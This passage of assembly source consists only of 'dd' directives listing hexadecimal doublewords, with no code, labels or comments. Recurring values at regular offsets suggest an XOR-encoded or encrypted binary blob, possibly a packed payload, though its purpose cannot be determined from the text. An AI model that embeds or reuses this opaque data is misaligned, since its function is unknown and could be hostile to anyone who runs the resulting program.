0FC99BBD9h, 1566223Fh, 0DAD96C15h dd 0E8651A09h, 87F34507h, 0CEE7421Fh, 7B37DFDEh, 74AD0354h dd 8D7F9B9h, 0ED062427h, 0D207D3B9h, 40B9B7h, 15664434h dd 1FEF2D32h, 75661132h, 6C48608Dh, 0CAED2269h, 1F8F4253h dd 95661132h, 0E4075AE2h, 0D558BA9Ch, 14E42DB8h, 0EC661132h dd 13173DBBh, 1F8F4227h, 0EE662232h, 12D1F0CCh, 60DE2243h dd 37FBC9F5h, 1A603F38h, 15660AB5h, 0E18732h, 0FC664432h dd 15662222h, 0F9EE5749h, 0C01DC845h, 0B6BFE3CFh, 491CF93Eh dd 78FC2CDh, 0DD668832h, 0B6EB8936h, 7C935912h, 95FBEB8Fh dd 0FCA7CF3Ah, 1AA64F61h, 15662CB6h, 14EB1E32h, 0ED668832h dd 15C4ADCBh, 98932232h, 0FFC6DAFh, 0C6997034h, 0EAE0C73Dh dd 9569DDCDh, 15661125h, 15669ADBh, 2BEF9D32h, 0F8BBE40Bh dd 0E7301A6Ah, 0DF3679B9h, 9E6F35B6h, 605387h, 3EF1E34h dd 0FC668832h, 15664423h, 0FEAC5315h, 8CA163F1h, 0C7649898h dd 0F3EF55B9h, 1574CBCAh, 8521132h, 752BC8ABh, 0F9BE4BDEh dd 751B4C95h, 9BE6E20Eh, 33573DBBh, 1B8F4227h, 34662232h dd 0D7C6A3A7h, 0A22ACE45h, 0FC5CE3BAh, 0E7FBAFD4h, 75600AA4h dd 61278988h, 0CFED220Eh, 0FCB5DD53h, 1566113Eh, 0BB234221h dd 0A0216838h, 33FCEB07h, 122794B9h, 9C9F8E27h, 6035B7h dd 0DEA2D34h, 0FC661132h, 15668821h, 0F0BE8A1Dh, 0D6745AC0h dd 661C71B9h, 0F7E10CA2h, 74047B2Ah, 1561A53Dh, 96691132h dd 15668833h, 0FD58C4CBh, 15A7A73Dh, 9D691132h, 15668835h dd 1567C43Dh, 0ED932232h, 3F27ACB1h, 1A668E27h, 1566E2B6h dd 0A635DE32h, 0A13677EAh, 73858823h, 4EBECC6Ah, 156633DBh dd 0ABA37132h, 0C39BE29Eh, 0BBB5E181h, 0E87D49DAh, 0E0CC506Fh dd 31620364h, 156280B3h, 9E062232h, 16E31EE2h, 73668832h dd 4207BAB9h, 0A6392B8Dh, 0ADA19021h, 0D4080311h, 0FAE740D5h dd 51416B3Eh, 0A29DEB3h, 0CA9184E4h, 3D37B3B3h, 0ED4F403Bh dd 109E386Dh, 5746A0D2h, 1560AD52h, 0D9942232h, 0BF3F4FFh dd 74B60354h, 1567C65Ah, 315AAB32h, 1566158Dh, 4A9EA132h dd 0EC9AEFC7h, 156404DBh, 9E007132h, 156E61CBh, 40254432h dd 1FE6D16h, 98070BA9h, 99672AFh, 156FAD34h, 39D92232h dd 0BA069718h, 0EC59C733h, 1C8F97CDh, 0AD662232h, 0D657A76Dh dd 9DBFE2C2h, 1030D9BFh, 9F69242Fh, 1566113Fh, 156680DBh dd 0F04FA32h, 6629A760h, 0E9B5EEE5h, 90694839h, 15664423h dd 1563CBCAh, 0B0621132h, 0FC3877ECh, 1566442Ah, 64E3A1CBh dd 10600434h, 0EBA961CEh, 7506BBCDh, 74939584h, 74A0AE3Dh dd 123C15BFh, 1C8F422Fh, 56662232h, 473D32F6h, 94DC392Eh dd 956997CDh, 15662223h, 15661DDBh, 0DA5EEE32h, 24E0B928h dd 9CA82C81h, 0D56DE927h, 157C0D3Dh, 73064432h, 0AF97FAB3h dd 0FC07EFB9h, 15668800h, 0CFE72252h, 0B4DE9259h, 7473CE32h dd 15623361h, 0D7E74432h, 1D987766h, 0FFE7CB33h, 1D98DD66h dd 1560AD69h, 6C392232h, 0FE963BBCh, 1567A6DBh, 88EBB132h dd 137CB84Eh, 1561963Dh, 9E698832h, 15664433h, 1AB5DDCAh dd 156646B1h, 15776132h, 2EEF4432h, 0BD583436h, 37A4DC91h dd 723967BDh, 9EEACAF1h, 605387h, 3E31E34h, 0FC668832h dd 15664423h, 7494C6D2h, 17F3A0A3h, 0F8061CD7h, 57CA128Fh dd 538FD78Fh, 0FC66111Fh, 15668826h, 4566FA63h, 7265BE51h dd 0FE837295h, 4C13CA86h, 0E52DFFA5h, 1317AFB9h, 9C9E1727h dd 60F987h, 1E64B34h, 0FC662232h, 1566113Dh, 8293E99Ch dd 8806E0F5h, 0A5D531CCh, 4035EB61h, 191E198Fh, 0F8E70927h dd 7AB205DBh, 0D8E7CCC5h, 2F15879Eh, 0F3A3C57Fh, 3CDD9F64h dd 0E44F4CDBh, 138449B3h, 5C9F7287h, 0C391D3B5h, 7306E0B5h dd 7B14EB3h, 0D3ED2252h, 7407F8B9h, 156619DBh, 12E46932h dd 0BBBC5460h, 0FBD975E3h, 5210F841h, 524847B3h, 942141E9h dd 0B46968C5h, 4A983810h, 0D3E7461Bh, 403C3C88h, 156BCBCEh dd 26DE1132h, 0FB921643h, 1CF47DD0h, 0E64E49A5h, 14E31E96h dd 0ED668832h, 0EA9B68DBh, 0AA6942CDh, 0CAED71FBh, 989EE953h dd 0EFE97AFh, 1560CB34h, 1E91132h, 48415002h, 9F0697CDh dd 9C3343D1h, 9E8E98CFh, 0D1E5AC1Eh, 58E2436h, 82662232h dd 0CDBFCBDFh, 0E163F834h, 942FB95Dh, 1A74C341h, 9F3FEE8Dh dd 904DE9D5h, 13735983h, 157CAD3Dh, 91691132h, 15668826h dd 15664BDBh, 0F3D9BC32h, 46489C74h, 0DF01F8EAh, 8512AB3h dd 98E3ABCEh, 0ED600430h, 0A4E303CBh, 7560512Fh, 15662EDAh dd 608A5732h, 4A4DFB51h, 0AEE5D571h, 1563CB65h, 0A6001132h dd 4D9FEF07h, 0FB8FC554h, 9C31430Ah, 11A190D5h, 94668832h dd 156640DDh, 315AA532h, 315A986Eh, 15770B3Dh, 198F4432h dd 0B2662232h, 373B3581h, 8210CE2h, 7DAF7308h, 15662814h dd 754215BBh, 156684DBh, 0BFB00632h, 0A34F4655h, 0A01F5539h dd 156E6005h, 0B624432h, 15CF95F1h, 9E00F267h, 0EC07D0E2h dd 8EA6C9BFh, 0A1062429h, 730670C3h, 749F73B9h, 1E8F95CDh dd 0CA662232h, 34BC34B0h, 394964B2h, 90ED2348h, 137308CFh dd 2FE679C7h, 11EF8832h, 156CAD16h, 71AB2232h, 32687B2Dh dd 0BA5CED51h, 1512045Ah, 315AAB32h, 1AAE9A52h, 156688BDh dd 90ED2532h, 13733F83h, 0E911A052h, 0F4EFD953h, 156285B3h dd 0FCE52232h, 316A9636h, 3162016Eh, 0CFDD2252h, 0CFC79ABCh dd 9807681Fh, 0EFB97BFh, 1DE64B34h, 75662232h, 1566973Dh dd 0EA078832h, 730624E3h, 1AE1748Bh, 156611B6h, 9169E932h dd 15664439h, 156624DBh, 0A355232h, 74425971h, 9C62A8B1h dd 753C0636h, 15661FDAh, 0D6532F32h, 0C085CDE6h, 6B335F27h dd 0FC331DF7h, 15668834h, 0CC8B40DAh, 753D1CBBh, 9F889054h dd 7407E803h, 2C522C53h, 11EF2232h, 9D694816h, 15668834h dd 753D1352h, 984D4353h, 13733BCFh, 6CDB0BC7h, 1560511Eh dd 15DCA63Dh, 9A691132h, 15668821h, 15664ADBh, 1B6F032h dd 0B29FA6A1h, 0E0B09F27h, 9ED06A54h, 748BB7h, 156DF834h dd 0CBD38832h, 8A0ADE3Dh, 0DDE80541h, 0A30671EDh, 7439D9ACh dd 68BCC554h, 904D4328h, 13733D4Bh, 156681DBh, 7CAA2A32h dd 15EBFAD4h, 0D45DBF7Bh, 15040E3Dh, 78F4432h, 21662232h dd 499868Fh, 93286AA7h, 817EC5FEh, 5577F2E7h, 0B4E39A27h dd 0FC609D2Eh, 1566443Bh, 568AD656h, 9D8E14BEh, 6CE38B7Ch dd 7560511Eh, 1565A53Dh, 0F2E61132h, 0CCEDDA5Bh, 90EF2569h dd 13733BBFh, 0CBED7752h, 743DD852h, 14C2AD53h, 96692232h dd 1566113Ah, 15640D3Dh, 74064432h, 1553955Ah, 316A9832h dd 156681DBh, 0C01C4E32h, 0B3B7B794h, 9437709Bh, 2F42AC1Eh dd 443E6FA1h, 865C068Bh dd 4CAE1019h, 0EAD8DECBh, 1499BBCDh, 0FC067CC2h, 15661138h dd 10C84E8Ah, 0A791B390h, 0ED07BB68h, 85DE4164h, 0AB76BE43h dd 5503A5Dh, 1C3EE403h, 78F4FC2h, 8E668832h, 6ADB481Fh dd 30C73524h, 83A13855h, 0FDC6904Fh, 0AA31BDAFh, 0EA99DDCDh dd 1A39E91Bh, 156689B3h, 78FBC32h, 4D662232h, 293B37E9h dd 7935AA6Ch, 53B92EF4h, 3EC53C56h, 0BCE3981Dh, 0FC609D20h dd 15664438h, 0B80B517Fh, 9ECEC762h, 9067EC65h, 1373475Fh dd 156629DBh, 4ED63A32h, 0D495235Bh, 7E60D1AFh, 391FA7F5h dd 15661727h, 95698832h, 1566443Ah, 1564AD3Dh, 74061132h dd 1A06C858h, 156644BBh, 0C4DE4432h, 150E70C4h, 75668822h dd 156648DBh, 16AFAE32h, 0EE3659F0h, 0B3174339h, 9C3325FBh dd 11A3A3D7h, 96661132h, 39E18CDFh, 19EF1816h, 156ECB16h dd 71B71132h, 0BC7F8ED1h, 150CE010h, 15E12D52h, 0FC661132h dd 15668837h, 82F97423h, 0EA9A4383h, 42D8A7h, 80997034h dd 13736C2Fh, 1561A83Dh, 96691132h, 15668833h, 0B4E3CDC7h dd 1A60372Eh, 15661BB3h, 0AA69E832h, 0CBE722C9h, 9C07A205h dd 7F9CB7h, 15766134h, 16394432h, 0D01F968Ah, 0BFAE027Fh dd 1948D4CBh, 21994146h, 0D1E77B16h, 15661136h, 156681DBh dd 0D260BD32h, 6DD6D09Fh, 0A0992372h, 137391BFh, 0E8D3BBCBh dd 1A603718h, 156619B4h, 17EB8732h, 75664432h, 156ACB53h dd 331F1132h, 0AE58F321h, 76F8C2B2h, 4B0E99A0h, 9C661159h dd 9569AC0Eh, 15664423h, 156DAD3Dh, 138F1132h, 4F668832h dd 0C703CFD4h, 1572CB56h, 35001132h, 0CCD8E016h, 0F4E87AB6h dd 4D28FE15h, 3C1AB480h, 0A0998D6Ch, 13735983h, 4F8FA252h dd 15661FDAh, 0BDD4A532h, 0E5929C35h, 2AEF4A87h, 1A86F91Fh dd 156688BEh, 98071F32h, 0ED37CB7h, 48F7134h, 0DE668832h dd 7CE4FF82h, 0CE239B3Eh, 0AD2F72Fh, 5005CFC8h, 1566CC3Dh dd 0EA072232h, 9867E8E2h, 1373A44Bh, 1561C33Dh, 73062232h dd 7406CEB9h, 98DB0353h, 0ED60512Bh, 3F9B97B9h, 43061727h dd 156684DBh, 4DA8EB32h, 0CD05500h, 248330CBh, 80DDD062h dd 743EFC8Bh, 1571A43Dh, 78F1132h, 33668832h, 8B887CFDh dd 0C20F6D69h, 462DDD42h, 0DF0ABF55h, 75C2B72Ah, 94006D86h dd 74F01CC5h, 84D303CAh, 1A605138h, 156629B2h, 1560F832h dd 555B8832h, 281240B3h, 0F9E5DA9Fh, 31629836h, 0F315318Ah dd 0E9208335h, 1280518Bh, 4D9A5703h, 1567013Dh, 0D49A4432h dd 730627F2h, 9400EFB9h, 741301C4h, 155DF35Ah, 316AAB32h dd 0CE23458Bh, 4CAE8953h, 24E347CAh, 0E0603732h, 0CEB9CB9h dd 1F8F8E27h, 0D6664432h, 0C085ABE6h, 6B336C27h, 0DBEDE8F7h dd 156655DBh, 90CF0032h, 0F4C72AE6h, 6FA910C2h, 3781B5EAh dd 7D070170h, 1566691Eh, 9A4284BBh, 14E64B32h, 0EC662232h dd 1A06BCCEh, 156688B4h, 0CC95C532h, 743B7E79h, 15789B3Dh dd 92698832h, 1566442Ah, 156631DBh, 0FDD61332h, 69B818BFh dd 2015D10Ah, 0F35F215h, 8DF9DA8Bh, 45843361h, 94255084h dd 1AD753F1h, 0E938986Ch, 0E9080969h, 285C1603h, 0F79A6CB3h dd 944B1728h, 507B7474h, 73068642h, 7365368Ch, 9C07CBB9h dd 6C1987h, 9A692434h, 15662230h, 0A1067052h, 74A702BCh dd 0EA9EC753h, 15FBA73Dh, 1D8F1132h, 2B668832h, 0A38FAEC1h dd 9488D0F9h, 0C8BBCC0Ch, 91E387EFh, 75664432h, 15DC7053h dd 14661132h, 15644FC0h, 9E664432h, 0D1E50626h, 156AF836h dd 343F8832h, 80EA7777h, 8584ADCDh, 463365CFh, 15668C89h dd 4EBBCD32h, 1A3BCC33h, 15661DBFh, 13EE8732h, 1A664432h dd 156622B2h, 84D39832h, 1A609D38h, 156659BFh, 2EB2D32h dd 0FC661132h, 15668820h, 0A3195918h, 0F2BA2C23h, 6A9A2315h dd 0FA83572Dh, 0D58F3DE7h, 0E999DDE6h, 15661BDBh, 85CE0D32h dd 0AB9E1851h, 0D408525Bh, 169F12F2h, 66B9B7h, 156EAD34h dd 3B7B2232h, 7551AA91h, 0A8E52D44h, 13735007h, 89E22D33h dd 0FC661131h, 15668839h, 0DFD708BAh, 4DB8B619h, 947BB550h dd 0BFCC220Ch, 0DFE34B98h, 1A662232h, 156605BDh, 15696132h dd 4B284432h, 6D573F2Eh, 0E8AEFDF9h, 0EF36494Eh, 11DC1680h dd 94662232h, 214A0CF4h, 94B0891Bh, 214A59DCh, 188F781Bh dd 4A661132h, 0D533BF24h, 0F00B5FC9h, 0E5394047h, 15DF4067h dd 9C668832h, 7BEF1DFFh, 1A067FCEh, 156617BBh, 15E48732h dd 1A664432h, 156627B2h, 0DBE77732h, 0EC07232Eh, 11ED1362h dd 11A2A316h, 4A661132h, 90697152h, 15664430h, 75077B63h dd 7EA6A954h, 0A734D953h, 4FB3CC3Eh, 0D898E7CCh, 9DBBD4B2h dd 0FC06D1DAh, 15664421h, 0A1962FB9h, 4E8DB383h, 0DABEC068h dd 404FB88h, 1A97AB30h, 0FC07EA85h, 1566880Ch, 156DCF3Dh dd 138F2232h, 14661132h, 0D8DD495Bh, 9E3114D8h, 0D1E70636h dd 15661136h, 18E5876Dh, 75664432h, 0D5FBCCB3h, 940064A4h dd 740FA0EBh, 155BAB5Ah, 3172AB32h, 0E5EEF984h, 9C347468h dd 11A4C5D0h, 96662232h, 1E115D8h, 11EFD416h, 0D9DD2416h dd 0AB0928B4h, 4B36CF2Fh, 0F8DB0B53h, 1460511Eh, 142CA63Dh dd 0AD931132h, 34A6F29Eh, 0E1BFF61h, 0C6916FA3h, 0E6E7CAC5h dd 3D63ADBDh, 0F6B797C5h, 0EC5ED1B3h, 0CD6773B8h, 138E4969h dd 63BE7172h, 1A8F23D2h, 0CF661132h, 5143A4E2h, 31ACB451h dd 1BEFABB8h, 0A8E5C376h, 137A0F50h, 1E24B32h, 75662232h dd 9807E4CBh, 0EAFCBAFh, 14EF4B34h, 0ED662232h, 959EC2CDh dd 9169180Dh, 1566447Dh, 16E62D52h, 95661132h, 94001EC6h dd 744196FCh, 4DDE7260h, 0E26F2B61h, 202EC8E2h, 0E3A3E890h dd 143EE0BBh, 73064BE5h, 0C66C57B3h, 0FC07BCB9h, 1566238Dh dd 1573953Dh, 58F8832h, 0D8664432h, 0B9456508h, 199E7BEBh dd 509EA1ACh, 965F7226h, 976972CAh, 156611BAh, 156E013Dh dd 1A064432h, 156622B2h, 7D007032h, 9C00991Ch, 85D5602Eh dd 4E00FABAh, 156600DBh, 0FA564932h, 8EC4C584h, 805D0AEAh dd 0BF5981A6h, 75CC68B4h, 7394FB3Dh, 74AFD78Dh, 464215B9h dd 0D6E76BBBh, 15664436h, 9262E1B1h, 1A3A352Eh, 15668CB1h dd 4B362432h, 1F8F8853h, 69661132h, 177EE79Bh, 451963B8h dd 19EB2D1Ah, 1A661132h, 15668EB2h, 15E34B32h, 0FC662232h dd 156611BEh, 1567043Dh, 0EC934432h, 4D4216CDh, 1562D5B3h dd 9F698832h, 15664426h, 15662DDBh, 0E1672332h, 2A02BB9h dd 0B9894263h, 63FAEA37h, 6AE6E898h, 906961CDh, 15664466h dd 156632DBh, 5200ED32h, 8887ECADh, 10274E47h, 90734F39h dd 77DB92FAh, 156094B5h, 1571C03Dh, 43062232h, 15669F3Dh dd 73388832h, 980793B9h, 0EAE68AFh, 0C699E434h, 311DE0CAh dd 19EF4432h, 15629B16h, 0EC671132h, 753F89BAh, 7391CF54h dd 74A5BF88h, 0CEB94B9h, 9E698E27h, 1566443Ah, 1564AB3Dh dd 74061132h, 156A093Dh, 92694432h, 15662234h, 15669B3Dh dd 0E5638832h, 3C5DEB65h, 45D874CAh, 94398113h, 0A858D8D4h dd 7588C50Ch, 3C84C2FAh, 94064FC2h, 4E8BA3E2h, 0F7E72219h dd 7D07167Ah, 156621A1h, 0A842A4BBh, 15664436h, 753BCA1Bh dd 156605DBh, 7A22E932h, 2550F9BFh, 0BE757478h, 4F5FCBFFh dd 0A599786Ch, 1CDE22FDh, 1ACD43D8h, 15661BB7h, 0E2EDE832h dd 1566C93Dh, 0B8072232h dd 1567933Dh, 479A8832h, 200A8F5Ah, 3172A90Eh, 9462D5B1h dd 0DFF5BDF0h, 0E930CDF1h, 758FDB68h, 0ED99EEC9h, 1FF73DBBh dd 469E4227h, 0D6E7C1BBh, 15661136h, 156263B3h, 9E14432h dd 1EF7E16h, 150EE916h, 1A6688B2h, 156645B7h, 150CDE32h dd 156617DBh, 0EF081232h, 0EA2C2C12h, 6D8787h, 94067134h dd 0C87147DBh, 1569AD4Dh, 8EB12232h, 591264CDh, 0E9D70E4Fh dd 683C1AD6h, 0AE004306h, 0EA073560h, 60D9A7h, 1DE24B34h dd 1A662232h, 156613B9h, 9E07E832h, 9C376026h, 11A7A3D3h dd 96661132h, 19E18CF3h, 93691816h, 15662239h, 4CA69052h dd 95365BF8h, 9E0762F5h, 7F6FBFh, 0AC007134h, 0FDE69039h dd 0AB3025C3h, 15662232h, 21ED20BBh, 11A20B16h, 0E6ED2252h dd 0F966F5B3h, 46073E4Ch, 15668C89h, 9EBF4532h, 0D1E7062Eh dd 15661136h, 156684DBh, 0D84D0D32h, 18362868h, 0DA5E7765h dd 58EB0128h, 1A60512Bh, 156631BEh, 1568F832h, 3B458832h dd 0B121F1BBh, 0A2C28ED2h, 0C2DD12E2h, 0EAA133DBh, 0A03024CDh dd 0FC0779B7h, 15661120h, 0A69F636Ah, 89FB5A04h, 97930807h dd 68BADD61h, 8A8FC3A4h, 0EC664418h, 1569CB52h, 710E1132h dd 9DE933Ah, 0F6B61325h, 0DB8F660h, 58EB9A79h, 0FC609D2Bh dd 1566443Ah, 98BA5ED0h, 5BA6736Eh, 19EDB9CDh, 11A2C716h dd 0FCBCA952h, 15661126h, 321DB23Bh, 521ADFB4h, 0B8D7FB77h dd 0B9AA529Eh, 67A4F5C2h, 4BEBCD53h, 0FC603EB5h, 15661126h dd 0ED3D398Dh, 23C18085h, 75026288h, 0AF05176Fh, 52889BD9h dd 41287CB3h, 90696E76h, 1566115Bh, 15668EDBh, 207BBC32h dd 0EC2E7993h, 111E9054h, 9069A67Eh, 15664463h, 1567A93Dh dd 7D9E1132h, 1566FCDBh, 4B4240BBh, 15662EDBh, 0D29A4B32h dd 15327E01h, 9ECCE624h, 13DB777Bh, 94661132h, 8E1328F4h dd 9488457Eh, 8E1382DCh, 9E9A4C7Eh, 769DB7h, 918FB834h dd 1A662237h, 156619B1h, 9E00E832h, 0E6A5C4CCh, 607D4A53h dd 11EF1132h, 9569D616h, 15664437h, 0DDED4452h, 58F7153h dd 8B668832h, 7FF9899Ch, 7BE37BCh, 8C5A7751h, 1A419933h dd 4307928Dh, 0E7EFE4BBh, 944225B9h, 15668CF6h, 1E14B32h dd 0FC662232h, 1566113Dh, 0ADA0D223h, 0AA9F1B53h, 0F4B1F259h dd 241C2BFCh, 156361FBh, 19234432h, 0B9EE3AE7h, 15799E3Dh dd 96698832h, 1566442Bh, 156636DBh, 9FFA0D32h, 0C8443083h dd 0E13751A3h, 0D2FA0E9h, 9F2462FEh, 155A7055h, 140FC03Dh dd 299E2232h, 0DDE21E1Fh, 1A9977CDh, 156646B6h, 29074232h dd 0A8E21E1Ch, 1A668832h, 156645B7h, 255ADB32h, 10E2933Dh dd 75068832h, 1566C73Dh, 0A2692232h, 750770E8h, 746E57B2h dd 93697D0Eh, 0EA99DDBDh, 1568F852h, 36B8832h, 237805A7h dd 5AED0261h, 17E5B3ABh, 545AE9CEh, 102AC63Dh, 138F2232h dd 0C0661132h, 0CDEC45E9h, 1A3C7813h, 0EA997CB4h, 1561F8CDh dd 0C7998832h, 0C2D00954h, 1A391E05h, 0EA995BB6h, 9069E8CDh dd 15664433h, 0D1A8A3CBh, 746A1619h, 9769E90Eh, 1566413Ch dd 1561AD3Dh, 9C691132h, 15668833h, 1A1C78CEh, 0EA993CB4h dd 0FC9EE8CDh, 15668CC0h, 156BAD52h, 7CC92232h, 0D43F8645h dd 0A30816B9h, 1AF4C780h, 156620B3h, 749D9A32h, 15673765h dd 0EF674432h, 1569CB6Dh, 25791132h, 7AB55CCFh, 0E8472550h dd 0B2FD3D29h, 0CAED7125h, 0D08B47B3h, 2C0745C1h, 0B2E22DC0h dd 1A661136h, 156691BCh, 1572AD32h, 53B42232h, 46F76203h dd 13AE07F7h, 9B1EBAD2h, 3439FBC9h, 0AC3723A1h, 0EA9977CDh dd 0EC3F8E33h, 1567AA3Dh, 47931132h, 0EA997788h, 4FB76DCDh dd 1572CBCEh, 0E6471132h, 6EFEB465h, 68DB6EFFh, 0EB7E197Fh dd 0BEDAA652h, 618FC3F6h, 7599BBCCh, 94B6A954h, 0BDB3FE9h dd 909AE90Ch, 2EE24BFBh, 0FC662236h, 1566113Dh, 22C5420Bh dd 9360C20Ah, 72F0E06h, 986F8938h, 44B187h, 13E74B34h dd 75662232h, 0C03CA954h, 19EDDA53h, 11A2C516h, 1A662232h dd 156619BCh, 0AE00E832h, 74067753h, 14EE2D53h, 0ED661132h dd 9C6264B1h, 39E76026h, 686B4316h, 0D2E74E22h, 51B8553h dd 156641DBh, 0DBD4C132h, 45379337h, 0F1E6A386h, 4882C467h dd 9582E6B2h, 0E1E6BEFEh, 4D87003Dh, 0E4E68DCCh, 4CAEAAC3h dd 156616DBh, 7971B332h, 3F3A5198h, 0E99B579Ch, 0CCD847C7h dd 3C50A57Ch, 0EC4F1AC3h, 5BBFE3B3h, 0A106271Fh, 158809CFh dd 742E051Ch, 156DCA52h, 0ECF51132h, 9145D7F9h, 6EE595DAh dd 4A0742FCh, 0D798BE8Ah, 0EA37E927h, 191603Eh, 93697B16h dd 15661138h, 15668DDBh, 71E20B32h, 0AD36FF46h, 1C194B8Ah dd 386260F3h, 6FA76489h, 10579F07h, 3B063472h, 0F5A79E2Ah dd 59117134h, 0D24F1313h, 94A9386Ah, 3D3AFFF5h, 156FAD07h dd 40BA2232h, 0B085C855h, 0ED931F71h, 118AC565h, 9C662232h dd 4B393506h, 156699DBh, 0E4F5732h, 38AA70D9h, 9B2C0915h dd 7CFFDC07h, 0B1956ABBh, 1560A23Dh, 75061132h, 74953853h dd 0D50BF462h, 184A21DAh, 9E9956BAh, 0D1E7AC36h, 15664436h dd 156624DBh, 193AE632h, 982DB090h, 447DA7h, 1DEB2D34h dd 1A661132h, 15668ABDh, 9E072432h, 62A3B7h, 156EF834h dd 67DF8832h, 533B6407h, 0D5E35638h, 1559943Dh, 0D3938832h dd 6F81B7h, 9B696534h, 15661133h, 0B2B4E0CEh, 0EA9A90A8h dd 4E3387h, 1576F834h, 0E5168832h, 88189943h, 796D3C0Eh dd 0F2AEB70Ch, 90EB4831h, 137E368Eh, 75B6DDCAh, 0ECED77CAh dd 0F6EFDB53h, 156287B3h, 0FEE72232h, 15661136h, 494294B5h dd 754250BBh, 156629DAh, 0A087DD32h, 9B9E449Dh, 6E16F49h dd 5486A354h, 749E4BA7h, 0FC0658CDh, 15664421h, 0F189AC16h dd 7F2997D1h, 26C4612Ch, 495403D1h, 0FCE1660Bh, 1566113Dh dd 0E6443651h, 84675D1Ch, 2819C8E3h, 747A58DCh, 16EA8752h dd 1A664432h, 9469E185h, 15661131h, 746A69B2h, 906984B7h dd 15662311h, 156618DBh, 0E9A55532h, 58B30F2Ch, 18F9011h dd 3B661132h, 37F95D3Fh, 0A89503B8h, 8A3F8F3Eh, 0A8528C34h dd 9E7777A5h, 6191B7h, 0D5E3DE34h, 150C943Dh, 0A1068832h dd 156AADFEh, 0B8E42232h, 46C5974Dh, 598CA44Dh, 0D307A829h dd 6FE7B7h, 91695D34h, 15668820h, 156649DBh, 7879FF32h dd 58997293h, 1E2E2B87h, 0FC0E9ED4h, 75BFF82Eh, 74919A54h dd 3D773DCDh, 0ED934227h, 67DAA7BFh, 138F172Ah, 66668832h dd 0FDF18453h, 75B6DD18h, 15609B3Dh, 0FAE78832h, 2EFDB31Ah dd 0ED077A62h, 94819865h, 15668CF5h, 1189C532h, 92662232h dd 9C3A350Eh, 78FAC26h, 0DB664432h, 6377AC1Ch, 0B8CB29D6h dd 91D736A2h, 7FFEE164h, 1577CB03h, 37471132h, 0D584971Eh dd 0E341AFFCh, 3D81E5C2h, 0EAE22122h, 10E687E2h, 75664432h dd 74BEA9C7h, 9069D1B7h, 15668819h, 0FFE72252h, 0FC063C41h dd 15661138h, 0AED94172h, 97E1A0E1h, 0AA69910Fh, 0FC0770CDh dd 156688E0h, 0D3ED2252h, 0A774CBB3h, 9C071134h, 9E1D6B7h dd 0C7E62434h, 0F2D944EFh, 9C37700Fh, 11A709D3h, 94664432h dd 156626DBh, 316A9632h, 3162016Eh, 156FADCEh, 11C72232h dd 0C913C626h, 46EAC586h, 0D6E7A7BBh, 15662236h, 9262FAB1h dd 9C3AAC2Eh, 48F6006h, 0A9662232h, 64172DCCh, 7F39B45Eh dd 67C29FCh, 5EF431DDh dd 995994BFh, 0FC068E2Ah, 15664423h, 88BB545Ah, 0DAEE7E6Bh dd 0F3D91658h, 4648C974h, 0D6DC44EAh, 0C599703Dh, 1567083Dh dd 1E9F4432h, 0EE32DF2h, 0ED661132h, 15610F3Dh, 93694432h dd 15662233h, 1542F8CEh, 73068832h, 50609DB3h, 51EF43CAh dd 68F0D16h, 0D0668832h, 955B158Eh, 0CC6C5FDAh, 8C30C5Ah dd 189E2972h, 7507385Dh, 1A77EBB2h, 156613BDh, 74123F32h dd 0D7ED24F1h, 3AB00E89h, 1E8F703Ch, 28668832h, 8F7E131Dh dd 0C9BF043Dh, 1A06640Ah, 156689B0h, 98EDBC32h, 137AA56Ch dd 1561943Dh, 91698832h, 15664433h, 49704ACBh, 11EF1132h dd 14E88716h, 0ED664432h, 42ABAB67h, 0EDEFFEBBh, 4693D56Dh dd 15667889h, 14A5A332h, 1429A342h, 148D09F1h, 1629F642h dd 7D9E7931h, 1566114Fh, 0AC4284BBh, 156644BAh, 4EDE333h dd 80EFE46Bh, 13738527h, 0F6DD17CAh, 94086122h, 8A3ED3F1h dd 0F6E7CB25h, 65C0F45h, 43A1C1B3h, 0E6E74B14h, 5A36E36Ah dd 3F00FC62h, 0D64F6D40h, 4EBE106Ah, 9EA40352h, 0F50E25E8h dd 9C662233h, 19DD352Eh, 14668832h, 4E75CFF1h, 156631DBh dd 4A2F1232h, 2390FD23h, 206CA5C9h, 6918C1Ah, 5D5C3548h dd 214B1DBBh, 0E09F4227h, 434226B9h, 0D3E7F7BBh, 15668836h dd 926282B1h, 0FC3A0606h, 15661134h, 0C2C4ADE8h, 61998D71h dd 11ED0616h, 11A29216h, 156E083Dh, 98694432h, 15662230h dd 8B637052h, 10637156h, 1B316D03h, 244BEA1Bh, 3868461Bh dd 109FECACh, 1561C93Dh, 42062232h, 0EED11E6Dh, 38E3B353h dd 1A605106h, 156664B0h, 9E9A7132h, 2E9EE9C8h, 6B51B7h dd 21E52D34h, 1A661132h, 156689BCh, 1A07B832h, 156626B2h dd 89D77132h, 15624A53h, 157FC73Dh, 18F2232h, 0A3661132h dd 0CDFD2AB3h, 81F37F1Ah, 93CC1DA2h, 4ACC6FD2h, 74657EFAh dd 316283CAh, 5C787577h, 944205C5h, 76CEAC36h, 21E71534h dd 0AB3C4316h, 3162906Eh, 4FF9C57h, 944240CDh, 111F0606h dd 39E704BEh, 83465816h, 314AC531h, 60AB6F72h, 9A909052h dd 734F4DA8h, 75078BB9h, 4307E5B9h, 67297961h, 943DD272h dd 204D51C1h, 4F8DA361h, 9C6F646Bh, 61EFD3ECh, 1A384C16h dd 156632BEh, 156DF832h, 0E3998832h, 0BB6B758Ah, 0FA137230h dd 94DB4457h, 940E3825h, 7F7DB7C7h, 0EA8BA315h, 9499EECDh dd 65144D7h, 828BC529h, 945E6F45h, 317ED5C7h, 7D930914h dd 9C92A4A6h, 1A067FDAh, 156611BFh, 0D4E7D832h, 5AD192B0h dd 98EB4368h, 13735EACh, 1567023Dh, 0EA9A4432h, 7506DBD3h dd 0EDBFC489h, 7407395Fh, 156649DBh, 39E35332h, 0B4FC13BAh dd 0BC1BC9A0h, 46340B5Ch, 0E4223489h, 5170AB10h, 0CF4FAAC3h dd 9F944569h, 299F7830h, 78E21EDBh, 0FC668833h, 1566443Dh dd 0AF7BE504h, 0A652FA57h, 71C915B1h, 758F9FC3h, 1A9DA954h dd 2907D185h, 0A6E287DAh, 75664433h, 1563A43Dh, 94001132h dd 9480A4DCh, 9E861CD5h, 1A5A4311h, 1505953Dh, 299A8832h dd 0EDE24BFFh, 0E9662233h, 9169FA0Eh, 15668A5Eh, 156649DBh dd 26445C32h, 0EB970051h, 6FFBCC2Dh, 9469A1BCh, 15662226h dd 15661EDBh, 3A3F5532h, 0E1891A01h, 50A0D33Bh, 0C95F95E0h dd 19E98753h, 0FC664432h, 15662235h, 846B8387h, 0D6911F17h dd 156648DBh, 608A6432h, 